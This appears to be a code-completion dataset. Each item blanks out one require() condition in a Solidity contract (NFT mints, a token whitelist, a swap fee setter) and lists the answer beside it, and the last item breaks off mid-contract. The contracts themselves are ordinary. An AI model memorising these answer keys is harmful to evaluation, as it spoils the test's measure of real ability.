function getTotalMinted(address addr) public view returns (uint256) {
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPhase(Phase phase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function salePrice(address sender, uint256 quantity)
public
view
returns (uint256)
{}
function getAllowedClaim(address sender) public view returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getSalePrice(uint256 quantity) public pure returns (uint256) {
}
function withdrawAll() external onlyOwner nonReentrant isUser {
}
}
| getUserToken(msg.sender)>3,"You do not have required scientist" | 230,159 | getUserToken(msg.sender)>3 |
"Exceeded tx limit" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
contract Monster is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum Phase {
disable,
claim,
open
}
Phase public PHASE = Phase.disable;
uint96 public immutable ROYALTY_FEE = 750;
uint256 public immutable MAX_TX_PER_WALLET = 3;
uint256 public immutable PRICE = 0.003 ether;
uint256 public immutable TOTAL_SUPPLY = 4444;
uint256 public immutable TOTAL_CLAIM_SUPPLY = 2222;
string internal baseURI = "";
address public immutable SCIENTIST_CONTRACT =
0xD48A5b0c8Bc760AAfcEd576504fcB884a2cbeb14;
constructor() ERC721A("Monster", "Monster") {
}
modifier isUserOwnedScientist() {
}
modifier isEthAvailable(uint256 quantity) {
}
modifier isMaxTxReached(uint256 quantity) {
require(<FILL_ME>)
_;
}
modifier isSupplyUnavailable(uint256 quantity) {
}
modifier isUser() {
}
function getTotalSupplyLeft() public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function devMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
isSupplyUnavailable(quantity)
{
}
function claimMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
isUserOwnedScientist
{
}
function getUserToken(address _wallet) public view returns (uint256) {
}
function mintNow(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
{
}
function getTotalMinted(address addr) public view returns (uint256) {
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPhase(Phase phase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function salePrice(address sender, uint256 quantity)
public
view
returns (uint256)
{}
function getAllowedClaim(address sender) public view returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getSalePrice(uint256 quantity) public pure returns (uint256) {
}
function withdrawAll() external onlyOwner nonReentrant isUser {
}
}
| _numberMinted(msg.sender)+quantity<=MAX_TX_PER_WALLET+getAllowedClaim(msg.sender),"Exceeded tx limit" | 230,159 | _numberMinted(msg.sender)+quantity<=MAX_TX_PER_WALLET+getAllowedClaim(msg.sender) |
"Max supply reached" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
contract Monster is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum Phase {
disable,
claim,
open
}
Phase public PHASE = Phase.disable;
uint96 public immutable ROYALTY_FEE = 750;
uint256 public immutable MAX_TX_PER_WALLET = 3;
uint256 public immutable PRICE = 0.003 ether;
uint256 public immutable TOTAL_SUPPLY = 4444;
uint256 public immutable TOTAL_CLAIM_SUPPLY = 2222;
string internal baseURI = "";
address public immutable SCIENTIST_CONTRACT =
0xD48A5b0c8Bc760AAfcEd576504fcB884a2cbeb14;
constructor() ERC721A("Monster", "Monster") {
}
modifier isUserOwnedScientist() {
}
modifier isEthAvailable(uint256 quantity) {
}
modifier isMaxTxReached(uint256 quantity) {
}
modifier isSupplyUnavailable(uint256 quantity) {
require(<FILL_ME>)
_;
}
modifier isUser() {
}
function getTotalSupplyLeft() public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function devMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
isSupplyUnavailable(quantity)
{
}
function claimMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
isUserOwnedScientist
{
}
function getUserToken(address _wallet) public view returns (uint256) {
}
function mintNow(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
{
}
function getTotalMinted(address addr) public view returns (uint256) {
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPhase(Phase phase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function salePrice(address sender, uint256 quantity)
public
view
returns (uint256)
{}
function getAllowedClaim(address sender) public view returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getSalePrice(uint256 quantity) public pure returns (uint256) {
}
function withdrawAll() external onlyOwner nonReentrant isUser {
}
}
| totalSupply()+quantity<=TOTAL_SUPPLY,"Max supply reached" | 230,159 | totalSupply()+quantity<=TOTAL_SUPPLY |
"Max claim supply reached" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
contract Monster is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum Phase {
disable,
claim,
open
}
Phase public PHASE = Phase.disable;
uint96 public immutable ROYALTY_FEE = 750;
uint256 public immutable MAX_TX_PER_WALLET = 3;
uint256 public immutable PRICE = 0.003 ether;
uint256 public immutable TOTAL_SUPPLY = 4444;
uint256 public immutable TOTAL_CLAIM_SUPPLY = 2222;
string internal baseURI = "";
address public immutable SCIENTIST_CONTRACT =
0xD48A5b0c8Bc760AAfcEd576504fcB884a2cbeb14;
constructor() ERC721A("Monster", "Monster") {
}
modifier isUserOwnedScientist() {
}
modifier isEthAvailable(uint256 quantity) {
}
modifier isMaxTxReached(uint256 quantity) {
}
modifier isSupplyUnavailable(uint256 quantity) {
}
modifier isUser() {
}
function getTotalSupplyLeft() public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function devMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
isSupplyUnavailable(quantity)
{
}
function claimMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
isUserOwnedScientist
{
require(<FILL_ME>)
require(
getAllowedClaim(msg.sender) >= quantity,
"You have no claim left"
);
_mint(msg.sender, quantity);
}
function getUserToken(address _wallet) public view returns (uint256) {
}
function mintNow(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
{
}
function getTotalMinted(address addr) public view returns (uint256) {
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPhase(Phase phase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function salePrice(address sender, uint256 quantity)
public
view
returns (uint256)
{}
function getAllowedClaim(address sender) public view returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getSalePrice(uint256 quantity) public pure returns (uint256) {
}
function withdrawAll() external onlyOwner nonReentrant isUser {
}
}
| totalSupply()+quantity<=TOTAL_CLAIM_SUPPLY,"Max claim supply reached" | 230,159 | totalSupply()+quantity<=TOTAL_CLAIM_SUPPLY |
"You have no claim left" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
contract Monster is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum Phase {
disable,
claim,
open
}
Phase public PHASE = Phase.disable;
uint96 public immutable ROYALTY_FEE = 750;
uint256 public immutable MAX_TX_PER_WALLET = 3;
uint256 public immutable PRICE = 0.003 ether;
uint256 public immutable TOTAL_SUPPLY = 4444;
uint256 public immutable TOTAL_CLAIM_SUPPLY = 2222;
string internal baseURI = "";
address public immutable SCIENTIST_CONTRACT =
0xD48A5b0c8Bc760AAfcEd576504fcB884a2cbeb14;
constructor() ERC721A("Monster", "Monster") {
}
modifier isUserOwnedScientist() {
}
modifier isEthAvailable(uint256 quantity) {
}
modifier isMaxTxReached(uint256 quantity) {
}
modifier isSupplyUnavailable(uint256 quantity) {
}
modifier isUser() {
}
function getTotalSupplyLeft() public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function devMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
isSupplyUnavailable(quantity)
{
}
function claimMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
isUserOwnedScientist
{
require(
totalSupply() + quantity <= TOTAL_CLAIM_SUPPLY,
"Max claim supply reached"
);
require(<FILL_ME>)
_mint(msg.sender, quantity);
}
function getUserToken(address _wallet) public view returns (uint256) {
}
function mintNow(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
isSupplyUnavailable(quantity)
isMaxTxReached(quantity)
{
}
function getTotalMinted(address addr) public view returns (uint256) {
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPhase(Phase phase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function salePrice(address sender, uint256 quantity)
public
view
returns (uint256)
{}
function getAllowedClaim(address sender) public view returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function getSalePrice(uint256 quantity) public pure returns (uint256) {
}
function withdrawAll() external onlyOwner nonReentrant isUser {
}
}
| getAllowedClaim(msg.sender)>=quantity,"You have no claim left" | 230,159 | getAllowedClaim(msg.sender)>=quantity |
"token already added" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
contract YDTData is AccessControl {
//Accepted tokens
struct Token {
string symbol;
uint128 decimals;
address tokenAddress;
bool accepted;
bool isChainLinkFeed;
address priceFeedAddress;
uint128 priceFeedPrecision;
}
//mapping of accpeted tokens
mapping(address => Token) public acceptedTokens;
mapping(address => bool) public isAcceptedToken;
// list of accepted tokens
address[] public tokens;
event TokenAdded(
address indexed tokenAddress,
uint128 indexed decimals,
address indexed priceFeedAddress,
string symbol,
bool isChainLinkFeed,
uint128 priceFeedPrecision
);
event TokenRemoved(address indexed tokenAddress);
constructor() {
}
/**
* @notice add new token for payments
* @param _symbol token symbols
* @param _token token address
* @param _decimal token decimals
* @param isChainLinkFeed_ if price feed chain link feed
* @param priceFeedAddress_ address of price feed
* @param priceFeedPrecision_ precision of price feed
*/
function addNewToken(
string memory _symbol,
address _token,
uint128 _decimal,
bool isChainLinkFeed_,
address priceFeedAddress_,
uint128 priceFeedPrecision_
) external onlyRole(DEFAULT_ADMIN_ROLE)
{
require(<FILL_ME>)
require(_token != address(0), "invalid token");
require(_decimal > 0, "invalid decimals");
bytes memory tempEmptyStringTest = bytes(_symbol);
require(tempEmptyStringTest.length != 0, "invalid symbol");
Token memory token = Token(
_symbol,
_decimal,
_token,
true,
isChainLinkFeed_,
priceFeedAddress_,
priceFeedPrecision_
);
acceptedTokens[_token] = token;
tokens.push(_token);
isAcceptedToken[_token] = true;
emit TokenAdded(
_token,
_decimal,
priceFeedAddress_,
_symbol,
isChainLinkFeed_,
priceFeedPrecision_
);
}
/**
* @notice remove tokens for payment
* @param t token address
*/
function removeTokens(address t) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// unchecked iterator increment for gas optimization
function unsafeInc(uint x) private pure returns (uint) {
}
}
| !acceptedTokens[_token].accepted,"token already added" | 230,217 | !acceptedTokens[_token].accepted |
"PyeSwap: EXCEEDS MAX FEE" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import { IPYESwapFactory } from "./interfaces/IPYESwapFactory.sol";
import { IPYESwapPair } from "./interfaces/IPYESwapPair.sol";
abstract contract FeeStore {
uint public swapFee;
uint public adminFee;
address public adminFeeAddress;
address public adminFeeSetter;
address public factoryAddress;
mapping(address => address) public pairFeeAddress;
event AdminFeeSet(uint adminFee, address adminFeeAddress);
event SwapFeeSet(uint swapFee);
event StableTokenUpdated(address token, bool isStable);
constructor (
address _factory,
uint256 _adminFee,
address _adminFeeAddress,
address _adminFeeSetter
) {
}
function setAdminFee(address _adminFeeAddress, uint _adminFee) external {
require(msg.sender == adminFeeSetter, "PyeSwap: NOT_AUTHORIZED");
require(<FILL_ME>)
adminFeeAddress = _adminFeeAddress;
adminFee = _adminFee;
swapFee = _adminFee + 17;
emit AdminFeeSet(adminFee, adminFeeAddress);
emit SwapFeeSet(swapFee);
}
function setAdminFeeSetter(address _adminFeeSetter) external {
}
}
| _adminFee+17<=100,"PyeSwap: EXCEEDS MAX FEE" | 230,220 | _adminFee+17<=100 |
"Error: Cannot mint more than 2" | pragma solidity ^0.8.13;
contract Pepelabs is ERC721A, Ownable, ReentrancyGuard, Pausable, DefaultOperatorFilterer{
// Uint256 mint variables
uint256 public maxSupply = 6969;
uint256 public mintPrice = 0.015 ether;
uint256 public wlMaxMint = 2;
uint256 public publicMaxMint = 3;
uint256 public wlMintPrice = 0.012 ether;
//Base uri, base extension
string public baseExtension = ".json";
string public baseURI;
// Booleans for if mint is enabled
bool public publicMintEnabled = false;
bool public wlMintEnabled = false;
// Mappings to keep track of # of minted tokens per user
mapping(address => uint256) public totalWlMint;
mapping(address => uint256) public totalPublicMint;
// Merkle root
bytes32 public root;
constructor (
string memory _initBaseURI,
bytes32 _root
) ERC721A("PePeLabs", "PPLBS") {
}
function teamMint(address[] calldata _address, uint256 _amount) external onlyOwner nonReentrant {
}
// Whitelist mint that requires merkle proof 2 per wallet
function whitelistMint(uint256 _quantity, bytes32[] memory proof) external payable whenNotPaused nonReentrant {
require(isValid(proof, keccak256(abi.encodePacked(msg.sender))), "Not a part of whitelist");
require(wlMintEnabled, "Whitelist mint is currently paused");
require(totalSupply() + _quantity <= maxSupply, "Error: max supply reached");
require(<FILL_ME>)
require(msg.value >= (_quantity * wlMintPrice), "Not enough ether sent");
totalWlMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Verify merkle proof with a buf2hex(keccak256(address)) or keccak256(abi.encodePacked(address))
function isValid(bytes32[] memory proof, bytes32 leaf) public view returns(bool) {
}
// Public mint with 3 per wallet limit
function publicMint(uint256 _quantity) external payable whenNotPaused nonReentrant {
}
// Returns the baseuri of collection, private
function _baseURI() internal view virtual override returns (string memory) {
}
// Override _statTokenId() from erc721a to start tokenId at 1
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A)
returns (bool)
{
}
// Set Token Metadata Uri
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// Opensea Operator Filter Registry
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// Owner functions
function togglePublicMint() external onlyOwner nonReentrant{
}
function toggleWlMint() external onlyOwner nonReentrant{
}
function enableBothMints() external onlyOwner nonReentrant{
}
function setPrice(uint256 _mintPrice) external onlyOwner nonReentrant{
}
function setWlPrice(uint256 _wlMintPrice) external onlyOwner nonReentrant{
}
function setmaxWl(uint256 _wlMaxMint) external onlyOwner {
}
function setmaxPublic(uint256 _publicMaxMint) external onlyOwner {
}
function pause() public onlyOwner nonReentrant{
}
function unpause() public onlyOwner nonReentrant{
}
function setBaseURI(string memory _newURI) public onlyOwner nonReentrant{
}
function setRoot(bytes32 _root) public onlyOwner nonReentrant {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner nonReentrant {
}
// Withdrawl function
function withdraw() external onlyOwner nonReentrant {
}
}
| (totalWlMint[msg.sender]+_quantity)<=wlMaxMint,"Error: Cannot mint more than 2" | 230,283 | (totalWlMint[msg.sender]+_quantity)<=wlMaxMint |
"Not enough ether sent" | pragma solidity ^0.8.13;
contract Pepelabs is ERC721A, Ownable, ReentrancyGuard, Pausable, DefaultOperatorFilterer{
// Uint256 mint variables
uint256 public maxSupply = 6969;
uint256 public mintPrice = 0.015 ether;
uint256 public wlMaxMint = 2;
uint256 public publicMaxMint = 3;
uint256 public wlMintPrice = 0.012 ether;
//Base uri, base extension
string public baseExtension = ".json";
string public baseURI;
// Booleans for if mint is enabled
bool public publicMintEnabled = false;
bool public wlMintEnabled = false;
// Mappings to keep track of # of minted tokens per user
mapping(address => uint256) public totalWlMint;
mapping(address => uint256) public totalPublicMint;
// Merkle root
bytes32 public root;
constructor (
string memory _initBaseURI,
bytes32 _root
) ERC721A("PePeLabs", "PPLBS") {
}
function teamMint(address[] calldata _address, uint256 _amount) external onlyOwner nonReentrant {
}
// Whitelist mint that requires merkle proof 2 per wallet
function whitelistMint(uint256 _quantity, bytes32[] memory proof) external payable whenNotPaused nonReentrant {
require(isValid(proof, keccak256(abi.encodePacked(msg.sender))), "Not a part of whitelist");
require(wlMintEnabled, "Whitelist mint is currently paused");
require(totalSupply() + _quantity <= maxSupply, "Error: max supply reached");
require((totalWlMint[msg.sender] + _quantity) <= wlMaxMint, "Error: Cannot mint more than 2");
require(<FILL_ME>)
totalWlMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Verify merkle proof with a buf2hex(keccak256(address)) or keccak256(abi.encodePacked(address))
function isValid(bytes32[] memory proof, bytes32 leaf) public view returns(bool) {
}
// Public mint with 3 per wallet limit
function publicMint(uint256 _quantity) external payable whenNotPaused nonReentrant {
}
// Returns the baseuri of collection, private
function _baseURI() internal view virtual override returns (string memory) {
}
// Override _statTokenId() from erc721a to start tokenId at 1
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A)
returns (bool)
{
}
// Set Token Metadata Uri
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// Opensea Operator Filter Registry
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// Owner functions
function togglePublicMint() external onlyOwner nonReentrant{
}
function toggleWlMint() external onlyOwner nonReentrant{
}
function enableBothMints() external onlyOwner nonReentrant{
}
function setPrice(uint256 _mintPrice) external onlyOwner nonReentrant{
}
function setWlPrice(uint256 _wlMintPrice) external onlyOwner nonReentrant{
}
function setmaxWl(uint256 _wlMaxMint) external onlyOwner {
}
function setmaxPublic(uint256 _publicMaxMint) external onlyOwner {
}
function pause() public onlyOwner nonReentrant{
}
function unpause() public onlyOwner nonReentrant{
}
function setBaseURI(string memory _newURI) public onlyOwner nonReentrant{
}
function setRoot(bytes32 _root) public onlyOwner nonReentrant {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner nonReentrant {
}
// Withdrawl function
function withdraw() external onlyOwner nonReentrant {
}
}
| msg.value>=(_quantity*wlMintPrice),"Not enough ether sent" | 230,283 | msg.value>=(_quantity*wlMintPrice) |
"Error: Cannot mint more than 3" | pragma solidity ^0.8.13;
contract Pepelabs is ERC721A, Ownable, ReentrancyGuard, Pausable, DefaultOperatorFilterer{
// Uint256 mint variables
uint256 public maxSupply = 6969;
uint256 public mintPrice = 0.015 ether;
uint256 public wlMaxMint = 2;
uint256 public publicMaxMint = 3;
uint256 public wlMintPrice = 0.012 ether;
//Base uri, base extension
string public baseExtension = ".json";
string public baseURI;
// Booleans for if mint is enabled
bool public publicMintEnabled = false;
bool public wlMintEnabled = false;
// Mappings to keep track of # of minted tokens per user
mapping(address => uint256) public totalWlMint;
mapping(address => uint256) public totalPublicMint;
// Merkle root
bytes32 public root;
constructor (
string memory _initBaseURI,
bytes32 _root
) ERC721A("PePeLabs", "PPLBS") {
}
function teamMint(address[] calldata _address, uint256 _amount) external onlyOwner nonReentrant {
}
// Whitelist mint that requires merkle proof 2 per wallet
function whitelistMint(uint256 _quantity, bytes32[] memory proof) external payable whenNotPaused nonReentrant {
}
// Verify merkle proof with a buf2hex(keccak256(address)) or keccak256(abi.encodePacked(address))
function isValid(bytes32[] memory proof, bytes32 leaf) public view returns(bool) {
}
// Public mint with 3 per wallet limit
function publicMint(uint256 _quantity) external payable whenNotPaused nonReentrant {
require(publicMintEnabled, "Public mint is currently paused");
require(totalSupply() + _quantity <= maxSupply, "Error: max supply reached");
require(<FILL_ME>)
require(msg.value >= (_quantity * mintPrice), "Not enough ether sent");
totalPublicMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Returns the baseuri of collection, private
function _baseURI() internal view virtual override returns (string memory) {
}
// Override _statTokenId() from erc721a to start tokenId at 1
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A)
returns (bool)
{
}
// Set Token Metadata Uri
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// Opensea Operator Filter Registry
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// Owner functions
function togglePublicMint() external onlyOwner nonReentrant{
}
function toggleWlMint() external onlyOwner nonReentrant{
}
function enableBothMints() external onlyOwner nonReentrant{
}
function setPrice(uint256 _mintPrice) external onlyOwner nonReentrant{
}
function setWlPrice(uint256 _wlMintPrice) external onlyOwner nonReentrant{
}
function setmaxWl(uint256 _wlMaxMint) external onlyOwner {
}
function setmaxPublic(uint256 _publicMaxMint) external onlyOwner {
}
function pause() public onlyOwner nonReentrant{
}
function unpause() public onlyOwner nonReentrant{
}
function setBaseURI(string memory _newURI) public onlyOwner nonReentrant{
}
function setRoot(bytes32 _root) public onlyOwner nonReentrant {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner nonReentrant {
}
// Withdrawl function
function withdraw() external onlyOwner nonReentrant {
}
}
| (totalPublicMint[msg.sender]+_quantity)<=publicMaxMint,"Error: Cannot mint more than 3" | 230,283 | (totalPublicMint[msg.sender]+_quantity)<=publicMaxMint |
"Not enough ether sent" | pragma solidity ^0.8.13;
contract Pepelabs is ERC721A, Ownable, ReentrancyGuard, Pausable, DefaultOperatorFilterer{
// Uint256 mint variables
uint256 public maxSupply = 6969;
uint256 public mintPrice = 0.015 ether;
uint256 public wlMaxMint = 2;
uint256 public publicMaxMint = 3;
uint256 public wlMintPrice = 0.012 ether;
//Base uri, base extension
string public baseExtension = ".json";
string public baseURI;
// Booleans for if mint is enabled
bool public publicMintEnabled = false;
bool public wlMintEnabled = false;
// Mappings to keep track of # of minted tokens per user
mapping(address => uint256) public totalWlMint;
mapping(address => uint256) public totalPublicMint;
// Merkle root
bytes32 public root;
constructor (
string memory _initBaseURI,
bytes32 _root
) ERC721A("PePeLabs", "PPLBS") {
}
function teamMint(address[] calldata _address, uint256 _amount) external onlyOwner nonReentrant {
}
// Whitelist mint that requires merkle proof 2 per wallet
function whitelistMint(uint256 _quantity, bytes32[] memory proof) external payable whenNotPaused nonReentrant {
}
// Verify merkle proof with a buf2hex(keccak256(address)) or keccak256(abi.encodePacked(address))
function isValid(bytes32[] memory proof, bytes32 leaf) public view returns(bool) {
}
// Public mint with 3 per wallet limit
function publicMint(uint256 _quantity) external payable whenNotPaused nonReentrant {
require(publicMintEnabled, "Public mint is currently paused");
require(totalSupply() + _quantity <= maxSupply, "Error: max supply reached");
require((totalPublicMint[msg.sender] + _quantity) <= publicMaxMint, "Error: Cannot mint more than 3");
require(<FILL_ME>)
totalPublicMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
// Returns the baseuri of collection, private
function _baseURI() internal view virtual override returns (string memory) {
}
// Override _statTokenId() from erc721a to start tokenId at 1
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A)
returns (bool)
{
}
// Set Token Metadata Uri
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// Opensea Operator Filter Registry
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// Owner functions
function togglePublicMint() external onlyOwner nonReentrant{
}
function toggleWlMint() external onlyOwner nonReentrant{
}
function enableBothMints() external onlyOwner nonReentrant{
}
function setPrice(uint256 _mintPrice) external onlyOwner nonReentrant{
}
function setWlPrice(uint256 _wlMintPrice) external onlyOwner nonReentrant{
}
function setmaxWl(uint256 _wlMaxMint) external onlyOwner {
}
function setmaxPublic(uint256 _publicMaxMint) external onlyOwner {
}
function pause() public onlyOwner nonReentrant{
}
function unpause() public onlyOwner nonReentrant{
}
function setBaseURI(string memory _newURI) public onlyOwner nonReentrant{
}
function setRoot(bytes32 _root) public onlyOwner nonReentrant {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner nonReentrant {
}
// Withdrawl function
function withdraw() external onlyOwner nonReentrant {
}
}
| msg.value>=(_quantity*mintPrice),"Not enough ether sent" | 230,283 | msg.value>=(_quantity*mintPrice) |
"Token already claimed" | pragma solidity ^0.8.20;
contract SquadtsBlunderbuss is ERC721, Ownable {
using Strings for uint256;
string private _metaDataURL = "";
bool public isMintActive = true;
uint256 constant TOKEN_IDS_STARTS_AT = 1;
uint256 constant TOKEN_MIN = 2001;
uint256 constant TOKEN_MAX = 3000;
uint256 tokenCount = 0;
address constant contractAddress = 0xEEAF63F35B7c365AFf27015A9AA5d6e4b734962C;
mapping(uint256 => bool) public tokenClaimed;
mapping(address => bool) public walletClaimed;
// add "metaDataURL" to our constructor
constructor(
string memory name,
string memory symbol,
string memory metaDataURL
) ERC721(name, symbol) {
}
// Getters & Setters
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setMetaDataURL(string memory value) public onlyOwner {
}
function setMintActive(bool value) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
// Minting
function mint(uint256 tokenId) external {
require(isMintActive, "Minting is inactive");
require(tokenId >= TOKEN_MIN, "Token is out of range");
require(tokenId <= TOKEN_MAX, "Token is out of range");
require(<FILL_ME>)
require(!walletClaimed[msg.sender], "Wallet already claimed");
require(ERC721(contractAddress).ownerOf(tokenId) == msg.sender, "Wallet does not own token");
uint256 supply = totalSupply();
tokenClaimed[tokenId] = true;
walletClaimed[msg.sender] = true;
tokenCount += 1;
_safeMint(msg.sender, TOKEN_IDS_STARTS_AT + supply);
}
function gift(address to) external onlyOwner {
}
// Withdraw
function withdraw() external payable onlyOwner {
}
}
| !tokenClaimed[tokenId],"Token already claimed" | 230,297 | !tokenClaimed[tokenId] |
"Wallet already claimed" | pragma solidity ^0.8.20;
contract SquadtsBlunderbuss is ERC721, Ownable {
using Strings for uint256;
string private _metaDataURL = "";
bool public isMintActive = true;
uint256 constant TOKEN_IDS_STARTS_AT = 1;
uint256 constant TOKEN_MIN = 2001;
uint256 constant TOKEN_MAX = 3000;
uint256 tokenCount = 0;
address constant contractAddress = 0xEEAF63F35B7c365AFf27015A9AA5d6e4b734962C;
mapping(uint256 => bool) public tokenClaimed;
mapping(address => bool) public walletClaimed;
// add "metaDataURL" to our constructor
constructor(
string memory name,
string memory symbol,
string memory metaDataURL
) ERC721(name, symbol) {
}
